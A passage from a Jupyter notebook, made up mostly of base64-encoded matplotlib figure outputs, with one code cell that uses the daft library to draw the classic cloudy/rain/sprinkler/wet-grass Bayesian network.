"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\n", "text/plain": [ "<Figure size 204.094x136.063 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "image/png": "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\n", "text/plain": [ "<Figure size 204.094x136.063 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "from matplotlib import rc\n", "rc(\"font\", family=\"serif\", size=12)\n", "rc(\"text\", usetex=True)\n", "\n", "import daft\n", "\n", "pgm = daft.PGM([3.6, 2.4], origin = [1.15, 0.8], node_ec=\"none\")\n", "pgm.add_node(daft.Node(\"cloudy\", r\"cloudy\", 3, 3))\n", "pgm.add_node(daft.Node(\"rain\", r\"rain\", 2, 2))\n", "pgm.add_node(daft.Node(\"sprinkler\", r\"sprinkler\", 4, 2))\n", "pgm.add_node(daft.Node(\"wet\", r\"grass wet\", 3, 1))\n", "pgm.add_edge(\"cloudy\", \"rain\")\n", "pgm.add_edge(\"cloudy\", \"sprinkler\")\n", "pgm.add_edge(\"rain\", \"wet\")\n", "pgm.add_edge(\"sprinkler\", \"wet\")\n", "pgm.render()\n", "\n", "plt.show(pgm.ax)" ] }, { "cell_type": "code", "execution_count": 11, "metadata": { "scrolled": true }, "outputs": [ { "data": { "image/png": "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